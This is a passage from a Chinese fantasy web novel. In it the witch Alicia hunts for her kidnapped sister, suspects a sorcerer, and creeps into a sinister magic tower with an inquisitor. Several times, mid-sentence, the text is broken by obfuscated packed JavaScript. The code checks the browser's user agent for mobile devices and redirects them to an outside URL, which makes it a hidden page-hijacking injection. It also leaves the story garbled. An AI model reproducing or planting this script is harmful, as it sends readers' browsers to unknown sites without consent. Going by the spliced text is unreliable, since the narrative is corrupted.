艾莉西亚没想到事情传播得那么快,但她从善如流,立刻表明来意,“是的,我救回了父母,但一个隐藏在恶魔信徒背后的超凡者带走我的妹妹罗德,我需要你的保住,男爵阁下。” “唔,我想你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14220656|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定有那个超凡者的线索了,对吗?” “是这样,我想要进入地下魔法交易市场,去见情报贩子司佩,他了解这片土地上的每一个超凡者,我需要从他那里获得情报。” 艾莉西亚和安特伍德旁若无人地聊起来,巴尔纳也不觉得丢面子,他自觉地跟上两人,几人一起到了会客室。黑人男仆端来茶和点心,又退下。 “老实说,我很愿意帮你这个忙,”安特伍德亲自为艾莉西亚斟茶,“不过我需要知道,你和那位地下交易市场的管理者之间发生了什么。” 艾莉西亚面露难色。 虽然她和司佩之间的交易结束了,但这不代表她能把交易的内容随便说出去,这违背了职业道德。 看出了艾莉西亚的犹豫,安特伍德端起茶杯啜饮起来,并不催促。 这样的姿态让艾莉西亚坐如针毡,有时候不得不说,比人老成精的老家伙们比起来,艾莉西亚接触到的年轻人,比如奸诈的司佩,又或者精明的小安托瓦都要好对付得多。 安特伍德看起来似乎是将选择权交到艾莉西亚手里,但很显然,他要是达不到目的,是不可能继续这场谈话的。如果艾莉西亚拒绝回答起身就走,这对她可能没什么,却要搭上巴尔纳一个人情,还什么目的都没达到。 艾莉西亚咬着唇,不知道该不该放弃雇佣兵的职业道德。 49. 女巫的职业危机49 “安特伍德先生,”艾莉西亚阻止了想要帮自己说话的巴尔纳,她星光般的眸子望着安特伍德,“大约二十天前,拉图瓦大道发生了一起骇人听闻的命案,一位银行主管和他的家人被献祭给深渊恶魔,而这家人的小女儿失踪;昨天,我回家到,同样遭到了恶魔信徒的埋伏,我的妹妹,罗德,她被一个来路不明的超凡者带走了。 “对方已经发现了我女巫的身份,他们甚至设下了埋伏,用木偶咒操控着我的父亲给了我关键一刀,如果我没有侥幸阻断献祭仪式,切斯特家就是第二个命案现场。 “安特伍德先生,您发现了吗?恶魔信徒在极短的时间内,升级了选择祭品的范围。从普通人到女巫,这意味着收到祭品的恶魔已经不满足普通人,祂想要更多。” 安特伍德修剪整齐的胡须动了动,眼神变得幽暗起来,“你在暗示我什么吗?切斯特小姐。” 艾莉西亚都懂的道理,安特伍德这样年纪的人怎么会不懂? 察觉到他的反感,艾莉西亚不打算再继续这个话题,“不,我只是告诉您祭品变化蕴藏着这样的可能性。我想向你说明的事另一件事,我的妹妹罗德,在她失踪前不久,已经觉醒了天赋,她将会是一个小女巫。而罗德,不是第一个失踪的小女孩。” 巴尔纳听到了艾莉西亚的话,手指微微蜷缩,艾莉西亚可没把这个事告诉他。 安特伍德对此没什么反应,只是稍稍偏了偏头,用眼神表示他在听。 艾莉西亚,“老实说,这座城市太大,每天涌入的人口比蚂蚁还多,失踪的小女孩更是不计其数,就是我过去也曾走失过。 “这对许多人来说并不是值得上心的事,但我请教过巴尔纳,他告诉我,过去从没有超凡者协助恶魔信徒献祭、拐走小女巫的先例——而这,才是我请求您能帮忙的重点——这座城市是拉法索亚大陆少数几个能让超凡者自由行走的地方,恶魔信徒是整个大陆都厌恶的存在,一旦超凡者与恶魔信徒勾结在一起,我想,即使是开明的阿斯蒙德伯爵,也不会继续容忍超凡者再自由下去,到时候,等待我们这类人的必然是沉重的镣铐和枷锁,就像其他城市的统治者那样。” 安特伍德深深地看艾莉西亚一眼,“你是一位充满智慧的女士,切斯特小姐,按道理,我不应该拒绝你的要求,然而凡事皆有代价,或许你会觉得我冷酷,不近人情,但规矩就是规矩,我不能毫无原则地帮助你。” 艾莉西亚立刻说,“您可以换成别的吗?” 安特伍德微笑着摇头,“了解你和司佩的矛盾,是我能否帮助你的关键,如你所言,身为一个在卡斯塔尼亚城享受着自由生活的超凡者,我应该为这座城市的安稳和平出力,但在这一点上,恕我无能为力。” 艾莉西□□绪低落下去,星光仿佛都从她的眼里消失了。 安特伍德似乎有些不忍心,他测过头说,“孩子,等你到了我这个年纪,你就会明白,年轻时的热血固然快意恩仇,可这不会长远。超凡者这一条路漫长而孤独,绝大部分时间都需要依靠你的意志坚持,这既是处事的原则,更是稳固内心的锚点。” 艾莉西亚满眼失望,她站起身,“我明白了,感谢您的指点,安特伍德先生。” 说完,就准备起身告辞,任谁都看得出来,她的感谢浮于表面,十分敷衍。 不过走失了妹妹的心情可以理解,安特伍德并没有放心上,他摇铃招来黑人男仆送客。 离开安特伍德家,艾莉西亚和巴尔纳坐上马车,巴尔纳看艾莉西亚心情不佳,想到她隐瞒自己罗德觉醒天赋的事,安慰的话变了调,“你那是什么表情?没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14240361|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安特伍德还有别人,我现在带你去,把你那张脸收起来。” 艾莉西亚看他一眼,没说话,她撩起车窗帘子,随着马车走动,一直到安特伍德家的屋子消失在视线里,才说,“不用了,盯着他就行了。” 巴尔纳表情凝重起来,语气不善,“你怀疑安特伍德?不可能!他我知道,绝不是会和恶魔信徒勾结在一起的人。” 艾莉西亚语气平和地说,“我在他的家中感受到了和皮尔所中的木偶咒一样的魔法波动——你是骑士,对这个可能不清楚,但我的感觉不会有错。” 这让巴尔纳难以接受,“我说了,没有安特伍德还有别人,和巡夜者合作的超凡者有很多,你不要因为他拒绝你就怀恨在心。” 巡夜者的成员大多是骑士,少数是普通人,合作的超凡者基本上都是像安特伍德这样的术士,没有女巫。巴尔纳想要找到一个为巡夜者效力的女巫很久了,安特伍德当然也知道,他也承诺过帮助巴尔纳找人。 按照艾莉西亚的推测,安特伍德非但没兑现给巴尔纳的承诺,还被人怀疑私底下帮助超凡者牵涉进凶案里面,这种可能性太低了。 安特伍德是巡夜者创立之初就和巴尔纳合作的超凡者,巴尔纳和他的私交也不错。要让巴尔纳相信安特伍德牵涉凶案中,巴尔纳很难接受。 艾莉西亚对他的态度转变并不觉得意外,或者说,艾莉西亚这一路走来,拒绝她的人、给她设置障碍的人从来没有断过,她从不会因为这些人怀疑自己的判断。 艾莉西亚让马车夫停车,“这是我的判断,你可以去查证,不过我就不陪你浪费时间了。谢谢你的帮助,巴尔纳阁下。” 说完,艾莉西亚从车上下去。 巴尔纳坐在车里,气得瞪眼,但他清楚,自己阻止不了艾莉西亚。 50. 女巫的职业危机50 艾莉西亚在安特伍德家附近的一家提供简餐的咖啡馆坐下来。 时间匆忙,安特伍德那个黑人男仆一直盯着她上了马车之后才收回目光,艾莉西亚直觉不能在他面前动手脚,只能用这样原始的办法盯梢。 等待的时间是很难熬的,醒来之后,艾莉西亚还没有亲眼看过贝斯的情况,她心里总是牵挂着。 但她得沉住气,这对她来说不是说很么难事,只是免不了心里的焦躁。 从临近正午一直到黄昏,侍应生给艾莉西亚上过好几次咖啡,还好心地询问艾莉西亚是不是需要帮助,艾莉西亚表示只是在等人。 但她必然是没有等到那个不存在的人,到了晚上八点半,侍应生过来说他们要关门了,艾莉西亚付了钱并不菲的消费,侍应生跑过来问需要不要给她准备马车,艾莉西亚拒绝了。 这个时节,空气里已经有了凉意,路上已经没有行人,艾莉西亚站在昏黄的路灯下,灯光却没有映出她的影子,她用魔法将自己隐藏起来。 安特伍德家的窗户亮起灯光,窗框上映照出人影。但没有人出来。 “你还要等下去吗?也许你的判断错了呢。”脑子里突然想起一道声音。 艾莉西亚已经没有任何意外了,她不知道那个恶魔是怎么突破她的层层魔力屏障,将声音直接传到到她的脑海的,如果是其他时候,艾莉西亚一定会毫不犹豫地加固防御。 不过现在嘛—— “恶魔,你的名字呢?” “真没礼貌。” 艾莉西亚,“比起不经同意就肆意寄居到别人身上的家伙,我的礼仪已经非常棒了。” “好吧,”恶魔好说话地说,“你可以称呼我为赫尔墨斯。” “掌管欺诈之术的神明?”艾莉西亚眉头微挑,“我从没有想过,深渊地狱竟然会有神明的化身。” 赫尔墨斯,“女巫,你的语气听起来像是嘲讽?” “有吗?” 赫尔墨斯,“当然。” “好吧,所以你是祂吗?” “不是。那个叫赫尔墨斯的家伙早就坠落了,这得感谢你们人类。” “为什么?” “不知道,我只知道祂是因为人类坠落,那时候我不在现世,不知原因。” 艾莉西亚现在觉得这家伙说不定真的可能是赫尔墨斯神堕后的化身了。 “这世界还有多少神明?”艾莉西亚问。 赫尔墨斯,“不知道。” “那你还知道什么?” 赫尔墨斯轻笑,“我是诞生在深渊之海的恶魔,不是神明脚边的看门狗,神明的破事你应该问教皇——是这么称呼吧?” 艾莉西亚决定闭麦。 她错了,和一个恶魔聊天,没有比一个人带着更有趣。 不过,出乎意料的,恶魔竟然也跟着闭嘴了。 时间过得很慢,艾莉西亚站在那里一动不动,秋风吹过,落叶缓缓飘落,她脚边落满了黄叶。 艾莉西亚想起上辈子看的小说,女主人公说她等啊等,把自己等成了冬天的一棵树,寒冷,孤寂,被遗忘在风霜凛冽的季节。艾莉西亚已经记不清女主人公是在等爱人的告白,还是在等一场一直被推迟的演唱会,但她还记得那种渴望的心情。 艾莉西亚恨不得附身到安特伍德身上,把他的记忆统统都扒出来,让她知道怎么去找那个抓走罗德混蛋。 但现实却是她只能站在那里,像一课扎根泥土的植物,风声路过,她岿然不动。 月上中天,午夜的钟声敲响,终于,安特伍德家有了动静。 黑人男仆从马厩里牵出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14266316|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一匹马,硕大的眼珠子像鹰隼一样梭巡四周,觉得没什么威胁,立刻翻身上马,朝着城外奔去。 艾莉西亚站得太久,脚都麻了,她拔腿追上去,行动矫健而迅速,像一只隐藏与黑暗的猎豹。 马匹的速度很快,艾莉西亚需要费点功夫才能跟上。这就要感谢机械制造这个工作的锻炼了,有了工作的锻炼和魔法的加成,艾莉西亚有足够的体力跟下来。 黑人男仆很快离开卡斯塔尼亚城,朝着城市东北方向,经过一片望不到头的平原,晨光破晓,他才离开平原区域,来到层峦叠嶂的山区。 过去这片区域是无数魔兽的栖居地,在阿斯蒙特伯爵横扫之前,一年中总有那么一两次,会有成群结队的魔兽出山,祸害平原上的平民。但顶级高阶骑士的能力承受,他把山区的魔兽杀得一干二,没死的都跑进了更加深邃的山林之中。 进入密林之后,黑人男仆放弃了马匹,选择步行上山。 这片区域越来越熟悉,特别是看到那座人口不多不少的村子时,艾莉西亚终于确认,她回到了那个曾经禁锢她自由的魔法塔。 艾莉西亚爬上树顶,仰起脸,在村子后面的峡谷之中,看到了那坐有着尖尖穹顶的魔法塔,那个让她做了无数噩梦的地方,那个让她恨之入骨的女巫,她,又回来了! 艾莉西亚胸腔里燃起熊熊烈火,就在这时,她敏锐地发现了身后的异常,怒火被压下,艾莉西亚把扳手飞出去,但没打中人,那里的树枝动了动,扳手直接穿过去了。 但不等艾莉西亚召回扳手在给对方补一下,一个高大的身影渐渐显露出来,对方有着黑色的卷发和漂亮的绿色的眼眸,“晚上好,女巫小姐。” 德蒙卡萨以手贴胸,向艾莉西亚问好。 艾莉西亚眯起眼,脑子里翻腾起残忍的想法。 51. 第 51 章 艾莉西亚眼里的恶意过于明显,德蒙卡萨浑身紧绷,小心地戒备起来,脸上却露出迷人的笑容,“坦诚地说,这只是个巧合,我追踪魔法塔的女巫而来,她从集市上带走了一个小女孩。” 又拐了一个小女孩? 算上罗德,就艾莉西亚知道的,已经有三个孩子了,这还不算艾莉西亚不知道的。 频繁出现的天赋者很可能与大量人口涌入有关系,但魔法塔带走这么多天赋者做什么?要知道魔法资源是有限的,他们不可能给每一个天赋者足够的资源去发展,除非…… 艾莉西亚想着,她摩挲着扳手,指腹在扳手那一块凸起的地方来回摩擦。 恶魔的声音出现,声音充满惊奇,“这是巴德萨罗的圣骑士?哦,女巫,你竟然和一个来自敌对阵营的骑士如此熟稔!” 巴德萨罗是光明神的名讳,人类从来不敢直呼其名,这会来神明的注视,而对一个人类来说,神明的注视可能带来神的恩泽,也可能带来杀身之祸。 像艾莉西亚这种被恶魔缠上的倒霉鬼,不用说,一定是后者。 艾莉西亚黑着脸,再度屏蔽掉来自恶魔的杂音,眼里凶光毕露。 “看起来我们有共同的目标,合作吗,女巫小姐?”德蒙卡萨不知道艾莉西亚因何又如此生气,他只能硬着头皮保持着沉稳的语调继续。 如果他的手没有紧握剑柄,让它保持在随时都能出鞘的状态,艾莉西亚就被糊弄过去了,显然,在这之前的接触当中,艾莉西亚给德蒙卡萨带来了不小心的心理阴影。 然而—— 这只是德蒙卡萨想要艾莉西亚看到的。 “你想怎么合作?”艾莉西亚收敛起外放的情绪,思考着合作的可能性。 德蒙卡萨表现得很绅士,“这要看你,女巫小姐。” “哦,看来你不打算说服我,正好,我并不觉得我们有共同目标,还是分开行动比较好。” 艾莉西亚说着,就要离开。 德蒙卡萨立刻改变口风,“女士,您想要找回妹妹,我想要带走可怜的小女孩,我们有着一样的目的,不是吗?” 艾莉西亚第一反应是这家伙在撒谎,他会有这样的好心。 但很快,艾莉西亚意识到自己的武断,德蒙卡萨没有说谎,他的目标的确是那群拥有女巫天赋的小女孩,但他并非出于善心,而是更为现实的考量。 “这是你拿不回《智慧之书》的替代品吗?审判官?” 再次从艾莉西亚口中听到这个称呼,德蒙卡萨嘴角轻轻翘了翘,“如果我的回答是否定的呢?” “那就一定是了,”艾莉西亚平静的声线里藏着让人恐惧的力量,“我很好奇,光明神的信徒们一直以猎杀女巫而闻名,你带着这些可怜的女孩们回去,是要把年幼的她们绑上火刑架吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14290537|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不不,您的想法太极端了,您得知道,天赋出众的人才在任何地方都很受欢迎,”德蒙卡萨像是没有察觉艾莉西亚话里的玄机,他像个宣扬教义的神职人员那样包容,“战斗修女,您一定听说过吧?在教会内部,战斗修女们和圣骑士的地位相当,都是非常受尊敬的存在。” 艾莉西亚简直要忍不住冷笑,“和圣骑士地位相当?你可真会避重就轻!真和圣骑士地位相当,那就不会只在教会内部流传,外界和战斗修女有关的传闻,都认为她们是骑士的变种呢。” 教廷比吃人的深渊还可怕,一边宣扬着女巫邪恶,要用火烧死她们;一边还要寻找拥有女巫天赋的小女孩,给她们洗脑,把她们培养成教廷的傀儡! 对外巩固信仰,对内把人被养成巩固统治的工具,真是好手段。 “战斗修女当然也有女骑士,不过更多的是从小生活在修道院的女孩,她们从小会受着良好的教育,长大之后为教廷效力,不用承担普通女人生儿育女的痛苦,凭借自己的能力生活,女巫小姐,我得承认教廷在很多方面做得不好,但在对待拥有天赋的小女孩,这是值得赞扬的。” 让人意外的是,德蒙卡萨说这话的时候,竟然意外地真诚。 她想起自己小时候的遭遇,再想想现在罗德和那些小女孩的遭遇,一时间竟然找不到话反驳。 艾莉西亚闭了闭眼睛,“好,我与你合作。” 52. 女巫的职业危机52 魔法塔内,宽阔的房间内部灯光昏黄,一个埚架在炉子上,穿着华丽长袍的金发女人双手抱臂,盯着坩埚内咕噜咕噜冒泡的青绿色液体。 她嘴角的肌肉像是安装了发条,每过几秒钟,就会抽搐一下。 房间的一面墙上放着许多瓶瓶罐罐,里面浸泡着人体组织;另一面墙堆着很多人体肢体,头颅、躯体、四肢,还有头发。 不论是浸泡在透明玻璃罐子里的头颅,还是堆在一起的雕刻出来的人头,它们的表情各不相同,但都栩栩如生,就像是把人死前的表情拓印下来,不会因为生命的逝去而消褪。 房间的另一个角落放着好些个铁铸的笼子,每个笼子里关着一个十岁上下的小女孩,这样的笼子有八个,其中有三个笼子空,剩下的全装着人。 罗德?切斯特趴在笼子里,眼睛偷偷虚起一条缝,她轻轻转动脑袋,打量四周,看到不远处向下延伸的楼梯。 突然,她感觉到楼梯那里的空间起了变化,她立刻机警的闭上眼,放匀呼吸,她拿出了糊弄贝斯的演技,两只穿着高级手工皮靴的脚出现在罗德的笼子面前,高大的黑皮肤男人俯下身,黑白分明的大眼珠子盯着罗德,眼里闪过一丝疑惑,但在他的注视下,罗德的呼吸始终平缓均匀,没有一丝醒来的迹象。 “怎么了,拉里?”守在坩埚面前的女巫注意到他奇怪的举动。 “这个孩子有点奇怪,感觉上,”拉里说,“你的魔药熬得怎么样了?佩诺拉。” 女巫佩诺拉·帕斯卡眉头皱着,“别问我,我不知道。该死的切斯特,她逃走前毁掉了老师的笔记,我不得不多次尝试,但始终没有老师熬制的效果好。” 拉里走向佩诺拉,“你的老师时间快差不多了吧?要是来不及,还是使用魔法结晶吧,如果只是扩张魔力的容量,这会是一个好办法。” “不行!”佩诺拉断然拒绝,她的情绪陡然激动起来,“魔法结晶对我的效果已经不明显了,我必须要挖掘更多的潜力,才能和亚瑟莱斯争夺长老的位置。” “冷静,冷静,亲爱的佩,你的选择当然没错,是亚瑟莱斯,是她抢走了本应该属于你的机会,”拉里立刻保住佩诺拉,安抚她的情绪,他指着笼子里的罗德说,“就用那个小女巫开始试药吧,那个小女巫的姐姐已经找到了安特伍德先生,我们得尽快解决问题。” 原本情绪已经被安抚到的佩诺拉猛然推开拉里,她眼里闪烁着仇恨的光,“不,我要留着她!我要让她成为我报复切斯特的重要道具,只有让切斯特以最痛苦的方式死去,我才能原谅她对我的伤害。” 佩诺拉拉开左手的袖子,华丽的衣袖下,是扭曲虬结、千疮百孔的皮肤,它们像是被什么烤焦融化,又像是被硫酸泼过,坑坑洼洼的肌肉组织乱七八糟出现在佩诺拉的手臂上,那些粘连在一起的皮肤和肌肉一直往她的大臂手肘、大臂眼神,到她左边半个身体,都有这样的创伤。 这些年来,擅长治愈之术的女巫尝试过无数次,佩诺拉的身体都无法复原。 那场恐怖的魔法爆炸造成的伤害像是跗骨之蛆,盘踞在她的肌肉深处、骨骼之中,从爆炸发生起,佩诺拉再也没有安然入睡的时候。 这是一个快要疯掉的女巫。 尽管她穿着华丽的长袍,脑子里装着渊博的学识,但这让她看起来更像是一具从坟地里爬出来的活尸。 拉里没再说什么,他上前一步,再度将佩诺拉瘦弱的身体拥入怀中,像是想要用自己身体的热量来温暖她。 …… “哦,女巫小姐,你确定这里真的能进去吗?” 拉蒙·德蒙卡萨跟着艾莉西亚来到魔法塔的下水道,她们在污水四溢的下水道蜷曲着四肢,匍匐前进,这条路狭窄幽深,被重重黑暗包裹,一眼望不到头。 艾莉西亚在德蒙卡萨的身后,被他卷起来的污水兜头砸过来,落到包裹着她的透明屏障外,她能看到污水中裹挟的虫子蠕动的样子,艾莉西亚胃部一阵翻腾。 过去的记忆袭击了她,艾莉西亚想起她第一次从这条通道偷偷跑出去,那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323836|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,她对魔法的使用还不熟练,走到中途的时候,隔绝污水和气味的魔法失效了…… 艾莉西亚闭了闭眼,忍住把这家伙打一顿的冲动,“闭嘴,往前爬!” 她做梦也没想到,这个为了完成任务能伪装成小白脸的审判官,竟然是个碎嘴子。 他观察十分敏锐,发现艾莉西亚对魔法塔周围十分熟悉,喋喋不休地从各个角度努力,致力于挖掘艾莉西亚这在里的经历,艾莉西亚不胜其烦。 艾莉西亚觉得这家伙多半是在报复她选择进入魔法塔的路,因为他一开始还能保持一点风度,在听到艾莉西的决定好,脸上的表情像是裂开了一样。 不过想想也对,无论是阿特莱特还是德蒙卡萨,他们明显都受过很好的教育,这也是必然,圣骑士作为教廷的门面和招牌,代表着教廷的脸面,所以无论是在圣骑士的选择上,还是在培养上,教廷都倾向于把他们打造成正义的化身,这就需要很多年的教育去熏陶了。 阿克莱特本人就差不多是这种形象的化身,德蒙卡萨可能要差点,毕竟他做的是刽子手的一样的审判庭的走狗,但这也不意味着他需要像底层人一样辛苦。好比这一次,就算他任务失败,身受重伤,也同样可以在同僚那里得到很好的支持和充裕的养伤时间。 艾莉西亚显然低估了这种环境给德蒙卡萨造成的精神创伤,他就没想过闭嘴。 “我对你很失望,女巫小姐,”德蒙卡萨还在喋喋不休,“你知道你们女巫一向是邪恶的,强大的,一眼不就可以使用魔法灭人满门,也能用魔法毁掉一整座庄园,但这样的你竟然会从下水道潜入,我不理解。” 艾莉西亚心说你不理解的事还多着呢。 她阴恻恻地说,“审判官阁下,你当然有别的选择,这一点毋庸置疑,你现在就可以拔出你的长剑,从下水道开始破坏,你距离地面不过一米,不过我希望你能珍惜你看到头顶漆黑夜空那一刻——那将会是你被大量的魔法结晶炸成碎片的最后记忆。” 德蒙卡萨:“……” 53. 女巫的职业危机53 骑士是看不到那些被刻意隐藏起来的魔法阵法的。 艾莉西亚被禁锢在这座魔法塔的两年时间内,她想方设法熟悉了这里每一块石头,无论是魔法塔上一任主人让娜·李·艾希,还是魔法塔的新主人,他们都没有艾莉西亚对这里的了解深。 哪里的魔法阵有了变动,哪里的魔纹多了、少了,艾莉西亚只需要轻轻看一眼,就知道了。 在魔法塔外观察后,艾莉西亚发现现在的魔法塔主人比让娜要谨慎多了,她把防备入侵的魔法阵法的能量源全更换成了魔法结晶,那些透明的小东西是魔法矿的伴生物,数量稀少,威力极大,指甲盖大小就能把一座三层楼高的住宅炸成废墟。 艾莉西亚从司佩手里弄到的二十颗魔法结晶她还没有使用,仅这点数量,就能帮助她将能力提升至少一个台阶,而魔法塔外至少埋下了上百颗魔法结晶,无论是谁,没有得到主人的允许擅自闯入,结局只有一个死,并且是被炸成齑粉那种死亡。 而魔法塔的两任主人都没有关注到的地方,就是充斥着肮脏腥臭的下水道,她们高高在上太久了,以至于看不到脚下的土地,就更不要说污浊的下水道了。 这既是黑塔女巫们的通病,同样也是艾莉西亚刻意留下来的后手。 当初艾莉西亚逃离的时候,是通过破坏塔内的魔纹,给阿克莱特打开了一条通道,那时候的魔法塔防护还不像今天这样严密,可没有艾莉西亚的帮助,阿克莱特照样进不去。 今天这样的情况,德蒙卡萨想要进去完全是妄想。 当时和艾莉西亚同一批被抓进来的小女巫只剩下她一个,其余的人不是成了魔法实验的消耗品,就是在学习魔法的过程中出了问题暴毙,艾莉西亚独自一个人在魔法塔苦熬了大半年,那段时间,艾莉西亚只能通过下水道出去透气。 如果不是还有这么一条路,她可能也撑不到遇见阿克莱特。 下水道的尽头是建在地下室的厨房。 德蒙卡萨听到厨房里有人走动的声音,他给艾莉西亚比了一个手势,艾莉西亚会意,立刻趴着不动。大约等了一个多小时,厨房里的忙碌才渐渐平息。 最后一个人离开,关上了厨房的门。 德蒙卡萨抽出艾莉西亚的扳手,按照她的指示,在头顶的位置敲了三下,头顶的位置有湛蓝色的荧光闪过,勾勒出方形的轮廓,平整的石壁出现了方形的缝隙,因为重力的缘故,石块边缘下陷,德蒙卡萨扣住石块边缘,将它取了下来,露出一个仅供一个人通行的洞口,厨房昏暗的灯光撒进下水道。 德蒙卡从洞口爬了上去,然后是艾莉西亚。 两个人身上尽管有魔法屏障的保护,但那些附着在屏障的污秽像是粘在身上一样,艾莉西亚嘴唇动了动,屏障从两人颅顶开始剥落,像剥掉一层皮那样,带着污秽一起,从两人身上脱离,落到厨房的地方,在两人周围一圈留下散发着恶臭的不明物和乌黑水渍。 恶臭冲天,德蒙卡萨朝艾莉西亚投来求救的眼神,艾莉西亚自己也受不了,赶紧使用清洁的咒语,将所有的秽物清理得干干净净。 艾莉西亚挥舞魔杖,落在下水道的石板缓缓升起,石板便严丝合缝地嵌回洞口,一丝缝隙都没留下。 看着艾莉西亚清理掉石板上的污渍,德蒙卡萨一边戒备着往外走,一边压低声音问,“我们现在去哪里?” 艾莉西亚没动,朝他伸出手,“还我。” 德蒙卡萨还想混过去,但艾莉西亚双眼盯着他,另一只手握着的扳手像是在忍耐着什么。 德蒙卡萨知道没得谈,下一秒,他像是什么都没发生一样,从腰间里抽出扳手,动作自然地递还给艾莉西亚,“唔,你觉得那些可怜的小女孩会被关在什么地方?” 艾莉西亚收好扳手,她已经开始怀疑到底有没有必要合作了,这家伙可真是无时无刻不想着占便宜! 想到这里,艾莉西亚给了德蒙卡萨一脚,然而她这点力气对骑士来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335897|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说无关痛痒,德蒙卡萨甚至还觉得发脾气的艾莉西亚有了点年轻姑娘的可爱,像撒娇似的。 “去实验室。但去实验室的路上必须经过餐厅,但这个时候魔法塔的主人一定在餐厅用餐,我们要从她的眼皮子底下过去,这几乎没有可能。我们的斗篷可以骗过大多数人,但其中一定不包括女巫。” “那要怎么做?” 艾莉西亚眯起眼,“你问我?” 德蒙卡萨,“在女巫面前,我不会逞能。” 这家伙,倒是把无能说得很清新脱俗。 艾莉西亚问他,“如果你没有恰好遇见我,你会怎么做?我想,你想要把几个有天赋的小女孩带回教廷,必然有你的方法,不是吗?” 德蒙卡萨看着艾莉西亚笑起来。 艾莉西亚挑眉,“怎么,不能和你的合作者分享?” 德蒙卡萨说,“你是我见过最精明的女巫,切斯特小姐。” 艾莉西亚回以冷笑。 德蒙卡萨认清现实,艾莉西亚这样的性格就是不肯吃亏,她提供了从下水道进入魔法塔的方法,接下来就一定要德蒙卡萨也出力才行。 该说不愧是做生意的女巫吗? 艾莉西亚如果知道他的想法,会告诉他,这是创业狗独有的精打细算。 德蒙卡萨摸出一个拇指大的陀螺,“一个不值一提的魔法道具,可以暂时让运转中的魔法阵法停滞,这个时间足够我闯进去了。不过,它的缺陷也很明显,辐射的范围为半径一米,魔法阵法停滞的时间只有3-5秒,一旦开启,使用时长不超过5分钟。” 艾莉西亚意有所指,“只针对魔法阵法吗?” 德蒙卡萨,“是的,它无法对即时施行的咒语起效,也就是说,如果我一个人进入魔法塔,我会避开魔法塔的主人。” 艾莉西亚,“好巧,我也是这样想的。那么,我们达成一致了,对吗?” 德蒙卡萨微笑,“是的,女巫小姐。” 54. 女巫的职业危机54 女巫和深色皮肤的男人离开了。 整个房间只剩下坩埚咕嘟咕嘟冒泡的声音。 罗德静静地躺在那里,直到确定两人不会再回来,她才慢慢从地上爬起来。 这对她来说是个十分恐怖的地方,到处都是人体组织,泡在罐子里的,丢在角落里的,特别是那些表情狰狞痛苦的人类头颅,罗德吓得在笼子里缩成一团,眼睛紧闭,我看不见你们,你们就看不见我。 但这仍不能祛除恐惧。 罗德听到了自己剧烈的心跳声,想象着那些面目狰狞的头颅从罐子里跑出来,飞来飞去,它们朝她张牙舞爪地扑过来,要把她的手脚全啃掉,直到她也变得和它们一样。 时间过去了很久,也可能只过了一会儿,罗德觉得这比上课的时间难熬多了,她等待着被那些狰狞的人类肢体撕咬,然而,什么都没发生。 